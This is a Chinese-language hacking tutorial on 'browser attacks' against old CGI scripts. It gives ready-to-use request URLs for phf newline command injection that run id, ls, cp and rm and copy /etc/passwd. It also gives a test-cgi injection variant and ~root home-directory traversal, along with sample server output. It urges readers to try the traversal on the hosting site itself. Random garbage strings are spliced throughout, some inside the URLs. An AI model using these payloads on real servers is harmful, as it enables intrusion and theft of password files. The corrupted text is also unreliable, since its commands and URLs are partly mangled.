浏览器攻击

在本章我将讲述一些利用浏览器来进行攻击的方法
1。大家都知道了phf攻击了，phf是cgi script,很多站点都有这个大漏洞啦，使用
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那个站点的passwd.但还有些更好的执行方法呦如：
$ b) Y; G+ b6 N+ B0 u# jhttp://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna
5 N; i. x$ a7 q2 z' s
me=&Qoffice_phone=
8 _. E  a( I4 @3 ^1 d5 R( whttp://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd
%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
% W- t: x* @/ [% E- j$ {3 Xhttp://thegnome.com/~someuser/passwd
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname
6 \2 R" S1 k6 C- \, G
1 a8 f8 a$ T0 p* g=haqr&Qemail=&Qnickname=&Qoffice_phone=
上面执行的命令是
/ `# c* s5 }5 a" Y. Hid
' x6 c$ r) O+ x! T$ Hls -la ~someuser
cp /etc/passwd ~someuser/passwd
rm ~someuser/passwd
( ~# S1 F1 c2 X4 G+ I. Z/ ^2 W& z; i
2。有关test攻击
, u3 k) N* y* Y% a. \http://thegnome.com/cgi-bin/test-cgi?\whatever
服务器会应答，本服务器的一些情况如：
CGI/1.0 test script report:

6 ]& h2 V! w; D! B* B- h. Iargc is 0. argv is .

SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = thegnome.com
GATEWAY_INTERFACE = CGI/1.1
7 [- f; g* B3 e5 E0 |/ hSERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
$ N, N, F3 b# N/ N4 OHTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
, N  D8 p% O1 X7 a2 }& hPATH_INFO =
PATH_TRANSLATED =
9 y6 c; V9 f' _$ I9 g, s- WSCRIPT_NAME = /cgi-bin/test-cgi
6 P2 q3 ~& e% P3 D, RQUERY_STRING = whatever
REMOTE_HOST = fifth.column.gov
REMOTE_ADDR = 200.200.200.200
REMOTE_USER =
/ I& Z, s* y- V) ?6 WAUTH_TYPE =
: g' N. q) K" D  \& U/ j+ _# `0 PCONTENT_TYPE =
CONTENT_LENGTH =

好吧，让我们来点赶兴趣的
4 E  S% d! {" N0 ]6 ihttp://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd

$ @+ e. f9 Y3 ~1 a/ B5 x3。~的应用
* ?$ l8 \- F# i* |: R+ D2 W~主要是用在很多的个人主页上的快捷目录的方法，如果我们使用这样的~
http://thegnome.com/~root
. G# D  `- G3 a# u, K% I/ Zhttp://thegnome.com/~root/etc/passwd
; Y: K; _! S. K" h: p7 T1 ^不是在任何平台上都通过呦，在BSD Apache上曾经成功过,当然还可以试试~bin ,~etc,~uucp.....
看到这个站点了吗，本站所在的这个站点就是用这种形式的，如果我们打入 本站所在的web地址/~bin
出现了什么，你看到了吗？然后...............注意请不要破坏

6 P1 B! B$ n0 k# `1 e